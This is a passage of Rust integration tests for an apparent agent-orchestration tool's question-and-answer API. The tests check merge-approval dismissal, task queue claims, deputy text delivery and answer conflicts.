11407 write_run(&fx.runs(), &run, RunStatus::Implementing);
11408
11409 let before = fx.get("/api/runs").await.json();
11410 assert_eq!(before[0]["waiting"], false, "{before}");
11411
11412 let store = fx.questions();
11413 let mut q = Question::new(
11414 run.clone(),
11415 "implement".to_owned(),
11416 "impl-A".to_owned(),
11417 "Which backend?".to_owned(),
11418 String::new(),
11419 vec!["SQLite".to_owned()],
11420 );
11421 store.put(&mut q).expect("put");
11422
11423 let during = fx.get("/api/runs").await.json();
11424 assert_eq!(during[0]["waiting"], true, "{during}");
11425
11426 q.answer(Answer::Choice("SQLite".to_owned()))
11429 .expect("answer");
11430 store.put(&mut q).expect("put");
11431 let after = fx.get("/api/runs").await.json();
11432 assert_eq!(after[0]["waiting"], false, "{after}");
11433 }
11434
11435 #[tokio::test]
11436 async fn an_open_question_is_listed_and_counted_by_health() {
11437 let fx = Fixture::start().await;
11438 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11439
11440 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11441 let listed = fx.get("/api/questions").await.json();
11442 assert_eq!(listed.as_array().expect("array").len(), 1);
11443 assert_eq!(listed[0]["id"], id);
11444 assert_eq!(listed[0]["status"], "open");
11445 assert_eq!(listed[0]["choices"][1], "Redis");
11446 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11449 }
11450
11451 fn obsolete_approval_state() -> RunState {
11452 let mut state = crate::land::tests::repair_state(true, true);
11453 state.pr = Some(crate::run::PrRecord {
11454 url: "https://github.com/example/repo/pull/42".into(),
11455 number: 42,
11456 state: "open".into(),
11457 checks: "green".into(),
11458 round: 1,
11459 rounds: 4,
11460 red_at_merge: Vec::new(),
11461 });
11462 state
11463 }
11464
11465 #[tokio::test]
11466 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11467 for owner in ["missing", "current", "completed", "later"] {
11468 let fx = Fixture {
11469 home: TempDir::new().unwrap(),
11470 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11471 };
11472 let mut state = obsolete_approval_state();
11473 state.status = RunStatus::Landing;
11474 state.parked = true;
11475 state.driver_exited = true;
11476 let mut q = Question::new(
11477 state.id.clone(),
11478 crate::land::APPROVAL_NODE.into(),
11479 "land".into(),
11480 "Old approval".into(),
11481 "Original evidence".into(),
11482 vec!["merge".into(), "hold".into()],
11483 );
11484 state.land_approval = Some(crate::run::LandApproval {
11485 question: q.id.clone(),
11486 head: "head".into(),
11487 });
11488 state.save_under(fx.home.path()).unwrap();
11489 let stale = state.clone();
11490 fx.questions().put(&mut q).unwrap();
11491 let mut task = Task::new(
11492 "Owner".into(),
11493 "Original instruction".into(),
11494 state.repo.clone(),
11495 Source::Human,
11496 );
11497 task.runs.push(state.id.clone());
11498 task.status = if owner == "completed" {
11499 TaskStatus::Done
11500 } else {
11501 TaskStatus::Parked
11502 };
11503 if owner == "later" {
11504 task.runs.push("later-run".into());
11505 }
11506 if owner != "missing" {
11507 fx.queue().put(&mut task).unwrap();
11508 }
11509 let ui = Arc::new(Ui::new(
11510 fx.queue(),
11511 fx.questions(),
11512 fx.talks(),
11513 fx.runs(),
11514 fx.home.path().into(),
11515 state.repo.clone(),
11516 ));
11517 let response = question_answer(
11518 State(ui),
11519 Path(q.id.clone()),
11520 Ok(Json(NewAnswer {
11521 choice: Some(crate::merge_decision::DISMISS.into()),
11522 text: None,
11523 ..Default::default()
11524 })),
11525 )
11526 .await
11527 .unwrap();
11528 assert_eq!(
11529 response.0.question.resolution().as_deref(),
11530 Some(crate::merge_decision::DISMISS)
11531 );
11532 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11533 assert_eq!(disk.status, RunStatus::Superseded);
11534 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11535 assert!(!crate::merge_decision::resumable_hold(&disk));
11536 assert_eq!(
11537 serde_json::to_value(&disk.pr).unwrap(),
11538 serde_json::to_value(&stale.pr).unwrap()
11539 );
11540 assert_eq!(fx.questions().count_open(), 0);
11541 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11542 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11543 if owner == "missing" {
11544 assert!(fx.queue().list().is_empty());
11545 } else {
11546 let after = fx.queue().get(&task.id).unwrap();
11547 assert_eq!(
11548 after.status,
11549 if owner == "current" {
11550 TaskStatus::Done
11551 } else {
11552 task.status
11553 }
11554 );
11555 assert_eq!(after.runs, task.runs);
11556 assert_eq!(after.instruction, task.instruction);
11557 assert_eq!(after.action_applied(&q.id), owner == "current");
11558 }
11559 }
11560 }
11561
11562 #[tokio::test]
11563 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11564 let fx = Fixture::start().await;
11565 let mut state = obsolete_approval_state();
11566 state.status = RunStatus::Landing;
11567 state.parked = true;
11568 state.driver_exited = true;
11569 let mut q = Question::new(
11570 state.id.clone(),
11571 crate::land::APPROVAL_NODE.into(),
11572 "land".into(),
11573 "Superseded PR approval".into(),
11574 "Original review evidence".into(),
11575 vec!["merge".into(), "hold".into()],
11576 );
11577 state.land_approval = Some(crate::run::LandApproval {
11578 question: q.id.clone(),
11579 head: "old-reviewed-head".into(),
11580 });
11581 state.save_under(fx.home.path()).unwrap();
11584 let stale_driver = state.clone();
11585 fx.questions().put(&mut q).unwrap();
11586 let path = fx
11587 .home
11588 .path()
11589 .join("questions")
11590 .join(format!("{}.json", q.id));
11591 let mut legacy = serde_json::to_value(&q).unwrap();
11592 legacy["schema"] = 9.into();
11593 legacy.as_object_mut().unwrap().remove("merge_target");
11594 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11595
11596 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11599 let answer_path = format!("/api/questions/{}/answer", q.id);
11600 let res = fx.post(&answer_path, Some(&body)).await;
11601 assert_eq!(res.status, 200, "{}", res.body);
11602 let disk = fx.questions().get(&q.id).unwrap();
11603 assert_eq!(
11604 disk.resolution().as_deref(),
11605 Some(crate::merge_decision::DISMISS)
11606 );
11607 assert!(disk.detail.starts_with("Original review evidence"));
11608 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11609 assert_eq!(retired.status, RunStatus::Superseded);
11610 assert_eq!(
11611 serde_json::to_value(&retired.pr).unwrap(),
11612 serde_json::to_value(&state.pr).unwrap()
11613 );
11614 assert!(!retired.merge_decision.as_ref().unwrap().closed);
11615 assert!(!crate::merge_decision::resumable_hold(&retired));
11616 assert!(fx.queue().list().is_empty());
11617 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11618 let addr = Fixture::serve(
11620 fx.home.path(),
11621 PathBuf::from("/repo/magi"),
11622 launch_idle,
11623 None,
11624 )
11625 .await;
11626 let reconnected = Fixture {
11627 home: fx.home,
11628 addr,
11629 };
11630 let listed = reconnected.get("/api/questions").await.json();
11631 assert!(
11632 listed
11633 .as_array()
11634 .unwrap()
11635 .iter()
11636 .all(|q| q["status"] != "open")
11637 );
11638 assert_eq!(listed[0]["id"], q.id, "history remains available");
11639 assert_eq!(
11640 reconnected.get("/api/health").await.json()["questions_open"],
11641 0
11642 );
11643 assert_eq!(
11644 reconnected
11645 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11646 .await
11647 .status,
11648 409
11649 );
11650 assert!(
11652 reconnected
11653 .questions()
11654 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11655 .is_err()
11656 );
11657 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11660 }
11661
11662 #[tokio::test]
11663 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11664 let fx = Fixture::start().await;
11665 let mut state = obsolete_approval_state();
11666 state.status = RunStatus::Landing;
11667 state.driver_exited = true;
11668 let mut q = Question::new(
11669 state.id.clone(),
11670 crate::land::APPROVAL_NODE.into(),
11671 "land".into(),
11672 "Obsolete approval".into(),
11673 String::new(),
11674 vec!["merge".into(), "hold".into()],
11675 );
11676 state.land_approval = Some(crate::run::LandApproval {
11677 question: q.id.clone(),
11678 head: "head".into(),
11679 });
11680 state.save_under(fx.home.path()).unwrap();
11681 fx.questions().put(&mut q).unwrap();
11682 let mut task = Task::new(
11683 "Owner".into(),
11684 "Original instruction".into(),
11685 state.repo.clone(),
11686 Source::Human,
11687 );
11688 task.runs = vec![state.id.clone(), "later-run".into()];
11689 fx.queue().put(&mut task).unwrap();
11690 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11691 let claim = fx.queue().claim(&task.id).unwrap();
11692 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11693 let path = format!("/api/questions/{}/answer", q.id);
11694 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11695 assert!(fx.questions().get(&q.id).unwrap().status.open());
11696 drop(claim);
11697 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11698 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11699 assert!(fx.questions().get(&q.id).unwrap().status.open());
11700 drop(publication);
11701 state.driver_exited = false;
11703 state.driver_pid = None;
11704 state.save_under(fx.home.path()).unwrap();
11705 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11706 state.driver_exited = true;
11707 state.land_armed_head = Some("head".into());
11708 state.save_under(fx.home.path()).unwrap();
11709 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11710 state.land_armed_head = None;
11711 state.save_under(fx.home.path()).unwrap();
11712 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11713 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11714 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11715 }
11716
11717 #[tokio::test]
11718 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11719 let fx = Fixture::start().await;
11720 let mut state = obsolete_approval_state();
11721 state.status = RunStatus::Landing;
11722 state.driver_exited = true;
11723 let mut q = Question::new(
11724 state.id.clone(),
11725 crate::land::APPROVAL_NODE.into(),
11726 "land".into(),
11727 "Obsolete approval".into(),
11728 String::new(),
11729 vec!["merge".into(), "hold".into()],
11730 );
11731 state.land_approval = Some(crate::run::LandApproval {
11732 question: q.id.clone(),
11733 head: "head".into(),
11734 });
11735 state.save_under(fx.home.path()).unwrap();
11736 fx.questions().put(&mut q).unwrap();
11737 let mut task = Task::new(
11738 "Owner".into(),
11739 "Original instruction".into(),
11740 state.repo.clone(),
11741 Source::Human,
11742 );
11743 task.runs.push(state.id.clone());
11744 task.status = TaskStatus::Parked;
11745 fx.queue().put(&mut task).unwrap();
11746 state.merge_decision = Some(crate::merge_decision::Decision {
11749 question: q.id.clone(),
11750 target: crate::merge_decision::Target {
11751 pr: state.pr.as_ref().unwrap().url.clone(),
11752 head: "head".into(),
11753 language: "ja".into(),
11754 },
11755 choice: crate::merge_decision::DISMISS.into(),
11756 closed: false,
11757 replacement_run: None,
11758 replacement_pr: None,
11759 });
11760 state.status = RunStatus::Superseded;
11761 state.save_under(fx.home.path()).unwrap();
11762 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11763 let path = format!("/api/questions/{}/answer", q.id);
11764 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11765 let done = fx.queue().get(&task.id).unwrap();
11766 assert_eq!(done.status, TaskStatus::Done);
11767 assert_eq!(done.runs, task.runs);
11768 assert_eq!(done.instruction, task.instruction);
11769 assert!(done.action_applied(&q.id));
11770 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11771 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11772 assert!(!fx.questions().get(&q.id).unwrap().status.open());
11773 }
11774
11775 #[tokio::test]
11776 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11777 let home = TempDir::new().unwrap();
11778 let ui = Arc::new(Ui::new(
11779 Queue::at(home.path().join("queue")),
11780 Questions::at(home.path().join("questions")),
11781 Talks::at(home.path().join("talks")),
11782 home.path().join("runs"),
11783 home.path().to_owned(),
11784 home.path().to_owned(),
11785 ));
11786 let talks = &ui.talks;
11787 let chat =
11788 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11789 let mut q = Question::new(
11790 "run".into(),
11791 crate::land::APPROVAL_NODE.into(),
11792 "land".into(),
11793 "Merge?".into(),
11794 String::new(),
11795 vec!["merge".into(), "hold".into()],
11796 );
11797 q.routed_task = Some("task".into());
11798 q.routed_chat = Some(chat.id.clone());
11799 q.merge_target = Some(crate::merge_decision::Target {
11800 pr: "https://example.test/pull/1".into(),
11801 head: "head-a".into(),
11802 language: "en".into(),
11803 });
11804 ui.questions.put(&mut q).unwrap();
11805 let send = |body| {
11806 question_answer(
11807 State(ui.clone()),
11808 Path(q.id.clone()),
11809 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
11810 )
11811 };
11812 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
11813 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
11814 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
11815 assert!(send(wrong_chat).await.is_err());
11816 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
11817 assert!(send(stale).await.is_err());
11818 assert!(ui.questions.get(&q.id).unwrap().status.open());
11819 assert!(send(button.clone()).await.is_ok());
11820 assert_eq!(
11821 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11822 Some("merge")
11823 );
11824 assert!(send(button).await.is_err());
11825 }
11826
11827 #[tokio::test]
11828 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
11829 let home = TempDir::new().unwrap();
11830 let ui = Arc::new(Ui::new(
11831 Queue::at(home.path().join("queue")),
11832 Questions::at(home.path().join("questions")),
11833 Talks::at(home.path().join("talks")),
11834 home.path().join("runs"),
11835 home.path().to_owned(),
11836 home.path().to_owned(),
11837 ));
11838 for choice in [crate::land::APPROVE, crate::land::HOLD] {
11839 let mut q = Question::new(
11840 "run".into(),
11841 crate::land::APPROVAL_NODE.into(),
11842 "land".into(),
11843 "Merge?".into(),
11844 String::new(),
11845 vec!["merge".into(), choice.into()],
11846 );
11847 q.routed_task = Some("task".into());
11848 q.merge_target = Some(crate::merge_decision::Target {
11849 pr: "https://example.test/pull/1".into(),
11850 head: "head-a".into(),
11851 language: "en".into(),
11852 });
11853 ui.questions.put(&mut q).unwrap();
11854 let answer = |c: &str| {
11855 question_answer(
11856 State(ui.clone()),
11857 Path(q.id.clone()),
11858 Ok(Json(
11859 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
11860 .unwrap(),
11861 )),
11862 )
11863 };
11864 let _ = answer(choice).await.unwrap();
11865 assert_eq!(
11866 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11867 Some(choice)
11868 );
11869 }
11870 }
11871
11872 #[tokio::test]
11873 async fn a_routed_decision_is_refused_on_the_question_route() {
11874 let home = TempDir::new().unwrap();
11875 let ui = Arc::new(Ui::new(
11876 Queue::at(home.path().join("queue")),
11877 Questions::at(home.path().join("questions")),
11878 Talks::at(home.path().join("talks")),
11879 home.path().join("runs"),
11880 home.path().to_owned(),
11881 home.path().to_owned(),
11882 ));
11883 let mut q = Question::new(
11884 "run".into(),
11885 crate::github_text::ASK_NODE.into(),
11886 "posting-gate".into(),
11887 "Post?".into(),
11888 String::new(),
11889 vec!["use fallback".into()],
11890 );
11891 q.routed_task = Some("task".into());
11892 ui.questions.put(&mut q).unwrap();
11893 let sent = question_answer(
11894 State(ui.clone()),
11895 Path(q.id.clone()),
11896 Ok(Json(
11897 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
11898 .unwrap(),
11899 )),
11900 )
11901 .await;
11902 assert!(sent.is_err());
11903 assert!(ui.questions.get(&q.id).unwrap().status.open());
11904 }
11905
11906 #[tokio::test]
11907 async fn merge_decision_api_persists_exact_target_and_selected_action() {
11908 let fx = Fixture {
11909 home: TempDir::new().unwrap(),
11910 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11911 };
11912 for choice in [
11913 crate::land::HOLD,
11914 crate::land::REPAIR,
11915 crate::land::APPROVE,
11916 crate::merge_decision::WITHDRAW,
11917 "reimplement:beta",
11918 ] {
11919 let mut q = Question::new(
11920 "old-run".into(),
11921 crate::land::APPROVAL_NODE.into(),
11922 "land".into(),
11923 "Decision".into(),
11924 "Review findings".into(),
11925 vec![
11926 "merge".into(),
11927 "hold".into(),
11928 crate::land::REPAIR.into(),
11929 crate::merge_decision::WITHDRAW.into(),
11930 "reimplement:beta".into(),
11931 ],
11932 );
11933 q.merge_target = Some(crate::merge_decision::Target {
11934 pr: "https://github.com/example/repo/pull/42".into(),
11935 head: "exact-reviewed-head".into(),
11936 language: "ja".into(),
11937 });
11938 q.consult = Some(ask::ChatConsult {
11939 talk: "another-conversation".into(),
11940 at: jiff::Timestamp::now(),
11941 });
11942 fx.questions().put(&mut q).unwrap();
11943 let ui = Arc::new(Ui::new(
11944 fx.queue(),
11945 fx.questions(),
11946 fx.talks(),
11947 fx.runs(),
11948 fx.home.path().into(),
11949 std::path::PathBuf::from("."),
11950 ));
11951 let response = question_answer(
11952 State(ui.clone()),
11953 Path(q.id.clone()),
11954 Ok(Json(NewAnswer {
11955 choice: Some(choice.into()),
11956 text: None,
11957 ..Default::default()
11958 })),
11959 )
11960 .await
11961 .unwrap();
11962 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
11963 let disk = fx.questions().get(&q.id).unwrap();
11964 assert_eq!(disk.merge_target, q.merge_target);
11965 assert_eq!(disk.consult, q.consult);
11966 assert!(
11967 disk.answer_authority.is_none(),
11968 "a direct owner card is its own decision"
11969 );
11970 assert_eq!(disk.resolution().as_deref(), Some(choice));
11971 assert!(
11972 question_answer(
11973 State(ui),
11974 Path(q.id.clone()),
11975 Ok(Json(NewAnswer {
11976 choice: Some("merge".into()),
11977 text: None,
11978 ..Default::default()
11979 }))
11980 )
11981 .await
11982 .is_err(),
11983 "an already settled decision cannot turn into merge approval"
11984 );
11985 }
11986 }
11987
11988 #[tokio::test]
11989 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
11990 let fx = Fixture {
11991 home: TempDir::new().unwrap(),
11992 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11993 };
11994 let mut state = crate::land::tests::repair_state(true, true);
11995 state.status = RunStatus::Landing;
11996 state.parked = true;
11997 state.driver_exited = true;
11998 let mut task = Task::new(
11999 "Existing PR owner".into(),
12000 state.instruction.clone(),
12001 state.repo.clone(),
12002 Source::Human,
12003 );
12004 task.runs.push(state.id.clone());
12005 task.status = TaskStatus::Parked;
12006 fx.queue().put(&mut task).unwrap();
12007 let mut q = Question::new(
12008 state.id.clone(),
12009 crate::land::APPROVAL_NODE.into(),
12010 "land".into(),
12011 "Contested merge".into(),
12012 "Original evidence".into(),
12013 vec!["merge".into(), "hold".into()],
12014 );
12015 state.land_approval = Some(crate::run::LandApproval {
12016 question: q.id.clone(),
12017 head: "reviewed-head".into(),
12018 });
12019 state.save_under(fx.home.path()).unwrap();
12020 fx.questions().put(&mut q).unwrap();
12021 task.hold_manual(Some("Pause this PR".into()));
12023 fx.queue().put(&mut task).unwrap();
12024 let ui = Arc::new(Ui::new(
12027 fx.queue(),
12028 fx.questions(),
12029 fx.talks(),
12030 fx.runs(),
12031 fx.home.path().to_path_buf(),
12032 state.repo.clone(),
12033 ));
12034 let response = question_answer(
12035 State(ui),
12036 Path(q.id.clone()),
12037 Ok(Json(NewAnswer {
12038 choice: Some(crate::land::REPAIR.into()),
12039 text: None,
12040 ..Default::default()
12041 })),
12042 )
12043 .await
12044 .unwrap();
12045 assert_eq!(response.0.question.id, q.id);
12046 let upgraded = fx.questions().get(&q.id).unwrap();
12047 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12048 assert!(upgraded.detail.starts_with("Original evidence"));
12049 let claim = fx.queue().claim(&task.id).unwrap();
12050 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12051 assert!(
12052 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12053 "an existing driver keeps its claim"
12054 );
12055 drop(claim);
12056 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12057 let resumed = fx.queue().get(&task.id).unwrap();
12058 assert_eq!(
12059 resumed
12060 .resume_override
12061 .as_ref()
12062 .unwrap()
12063 .pinned_run
12064 .as_deref(),
12065 Some(state.id.as_str())
12066 );
12067 assert!(resumed.status.runnable());
12068 assert_eq!(resumed.instruction, task.instruction);
12069 assert_eq!(resumed.runs, task.runs);
12070 assert!(resumed.action_applied(&q.id));
12071 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12072 assert_eq!(fx.queue().list().len(), 1);
12073 assert_eq!(
12074 fx.queue().get(&task.id).unwrap().resume_override,
12075 resumed.resume_override
12076 );
12077 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12078 assert!(
12079 disk.merge_repairs.is_empty(),
12080 "only the claimed run driver may execute repair"
12081 );
12082 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12083 }
12084
12085 #[tokio::test]
12086 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12087 let fx = Fixture::start().await;
12088 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12089 let path = format!("/api/questions/{id}/answer");
12090
12091 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12092 assert_eq!(res.status, 200, "{}", res.body);
12093 let body = res.json();
12094 assert_eq!(body["status"], "answered");
12095 assert_eq!(body["answer"]["choice"], "Redis");
12096
12097 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12101 assert_eq!(again.status, 409, "{}", again.body);
12102 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12103 }
12104
12105 #[tokio::test]
12106 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12107 let home = tempfile::tempdir().unwrap();
12108 let ui = delta_test_ui(home.path());
12109 let mut q = Question::new(
12110 "task".into(),
12111 crate::land::APPROVAL_NODE.into(),
12112 "land".into(),
12113 "Explain?".into(),
12114 String::new(),
12115 vec!["hold".into()],
12116 );
12117 q.deputy = Some(ask::Deputy::new("context".into()));
12118 ui.questions.put(&mut q).unwrap();
12119 let mut cfg = stub_config();
12120 cfg.daemon.max_deputies = 0;
12121 let mut status = crate::daemon::Status::new();
12122 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12123 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12124 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12125 let error = question_say(
12126 State(ui.clone()),
12127 Path(q.id.clone()),
12128 Ok(Json(NewSay {
12129 body: "Explain the findings".into(),
12130 })),
12131 )
12132 .await
12133 .unwrap_err();
12134 assert_eq!(
12135 error.text_reason,
12136 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12137 );
12138 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12139
12140 let mut text = Question::new(
12141 "task".into(),
12142 "ask".into(),
12143 "operator".into(),
12144 "Which name?".into(),
12145 String::new(),
12146 vec![],
12147 );
12148 ui.questions.put(&mut text).unwrap();
12149 let Json(view) = question_answer(
12150 State(ui.clone()),
12151 Path(text.id.clone()),
12152 Ok(Json(NewAnswer {
12153 choice: None,
12154 text: Some("chosen name".into()),
12155 ..Default::default()
12156 })),
12157 )
12158 .await
12159 .unwrap();
12160 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12161 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12162 }
12163
12164 #[tokio::test]
12165 async fn question_text_handler_admission_without_transport() {
12166 let home = tempfile::tempdir().unwrap();
12167 let ui = delta_test_ui(home.path());
12168 let mut q = Question::new(
12169 "task".into(),
12170 crate::land::APPROVAL_NODE.into(),
12171 "land".into(),
12172 "May this PR merge?".into(),
12173 String::new(),
12174 vec!["hold".into()],
12175 );
12176 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12177 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12178 ui.questions.put(&mut q).unwrap();
12179 let say = || {
12180 Ok(Json(NewSay {
12181 body: "Explain the findings".into(),
12182 }))
12183 };
12184 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12185 .await
12186 .unwrap_err();
12187 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12188 let response = rejected.into_response();
12189 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12190 .await
12191 .unwrap();
12192 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12193 assert_eq!(body["code"], "question_text_unavailable");
12194 assert_eq!(body["reason"], "deputy_exhausted");
12195 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12196 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12197 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12198 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12199 .await
12200 .unwrap();
12201 assert_eq!(view.text_delivery.state, "live");
12202 assert!(view.question.waiter.is_none());
12203 assert!(view.question.cwd.is_none());
12204 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12205 ui.questions.drop_lease(&q.id);
12206 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12207 .await
12208 .unwrap_err();
12209 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12210 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12211 let _ = question_answer(
12212 State(ui.clone()),
12213 Path(q.id.clone()),
12214 Ok(Json(NewAnswer {
12215 choice: Some("hold".into()),
12216 text: None,
12217 ..Default::default()
12218 })),
12219 )
12220 .await
12221 .unwrap();
12222 assert_eq!(
12223 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12224 Some("hold")
12225 );
12226 }
12227
12228 #[tokio::test]
12229 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12230 let fx = Fixture::start().await;
12231 let store = fx.questions();
12232 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12233 store
12234 .update(&id, |q| {
12235 q.node = crate::land::APPROVAL_NODE.to_owned();
12236 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12237 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12238 Ok(())
12239 })
12240 .unwrap();
12241 let path = format!("/api/questions/{id}/say");
12242 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12243 assert_eq!(refused.status, 422, "{}", refused.body);
12244 assert!(
12245 refused.json()["error"]
12246 .as_str()
12247 .unwrap()
12248 .contains("deputy_exhausted")
12249 );
12250 assert!(store.get(&id).unwrap().thread.is_empty());
12251
12252 store.beat(&id, ask::WaiterKind::Deputy);
12254 let view = fx.get("/api/questions").await.json();
12255 assert_eq!(view[0]["text_delivery"]["state"], "live");
12256 let accepted = fx
12257 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12258 .await;
12259 assert_eq!(accepted.status, 200, "{}", accepted.body);
12260 let before = std::fs::read(store.path_of(&id)).unwrap();
12261
12262 store.drop_lease(&id);
12265 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12266 assert_eq!(refused.status, 422, "{}", refused.body);
12267 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12268 let held = fx
12269 .post(
12270 &format!("/api/questions/{id}/answer"),
12271 Some(r#"{"choice":"hold"}"#),
12272 )
12273 .await;
12274 assert_eq!(held.status, 200, "{}", held.body);
12275 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12276 }
12277
12278 #[tokio::test]
12279 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12280 let repo = tempfile::tempdir().unwrap();
12281 let mut cfg = stub_config();
12282 cfg.daemon.max_deputies = 0;
12283 std::fs::write(
12284 repo.path().join("magi.toml"),
12285 toml::to_string(&cfg).unwrap(),
12286 )
12287 .unwrap();
12288 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12289 let mut status = crate::daemon::Status::new();
12290 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12291 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12292 let id = ask(&fx, "Explain?", &["hold"]);
12293 fx.questions()
12294 .update(&id, |q| {
12295 q.node = crate::land::APPROVAL_NODE.into();
12296 q.deputy = Some(ask::Deputy::new("context".into()));
12297 q.deputy.as_mut().unwrap().agent = "stub".into();
12298 Ok(())
12299 })
12300 .unwrap();
12301 cfg.daemon.max_deputies = 1;
12302 std::fs::write(
12303 repo.path().join("magi.toml"),
12304 toml::to_string(&cfg).unwrap(),
12305 )
12306 .unwrap();
12307 let view = fx.get("/api/questions").await.json();
12308 assert_eq!(view[0]["deputies_enabled"], true);
12309 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12310 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12311 let res = fx
12312 .post(
12313 &format!("/api/questions/{id}/say"),
12314 Some(r#"{"body":"Please explain"}"#),
12315 )
12316 .await;
12317 assert_eq!(res.status, 422, "{}", res.body);
12318 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12319 }
12320
12321 #[tokio::test]
12322 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12323 let fx = Fixture::start().await;
